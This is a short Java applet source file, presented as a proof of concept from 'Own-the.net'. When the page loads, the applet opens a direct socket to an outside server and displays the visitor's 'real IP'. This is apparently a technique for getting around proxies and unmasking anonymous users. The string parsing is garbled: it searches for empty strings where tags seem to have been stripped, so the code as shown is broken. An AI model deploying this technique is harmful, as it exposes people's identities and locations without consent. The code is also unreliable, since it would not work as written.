import java.applet.*;
import java.awt.*;
import java.io.*;
import java.util.*;
import java.net.*;
/*****************************************************************************************************
* Own-the.net
* This PoC is for reference only. You may distribute it freely, but do not trust it's reliability.
*****************************************************************************************************/
public class IpApplet extends java.applet.Applet
{
private String ip;
//This method is invoked when the applet has loaded.
public void init ()
{
Socket sock = null;
PrintWriter out = null;
BufferedReader in = null;
String str, page = new String();
try
{
sock = new Socket("own-the.net", 80); //Create a socket to the destination server and port
out = new PrintWriter(sock.getOutputStream(), true); //Get a writable stream from the socket
in = new BufferedReader(new InputStreamReader(sock.getInputStream())); //Get a readable stream
//Send some request headers
out.println("GET /ip/ip.php HTTP/1.0");
out.println("Host: own-the.net");
out.println("Connection: close");
out.println("");
//Read until there is no more data
while ((str = in.readLine()) != null)
{
page += str + "\n";
}
//Get the text between the and tags.
ip = page.substring(page.indexOf("")+4, page.indexOf(""));
out.close();
in.close();
sock.close();
}
catch (UnknownHostException e)
{
ip = "[ERROR]";
}
catch (IOException e)
{
ip = "[ERROR]";
}
}
//This is the applets' "redraw" event handler.
public void paint(Graphics g)
{
g.drawString("Your real IP is: "+ ip, 0, 15); //Output a string of text.
}
}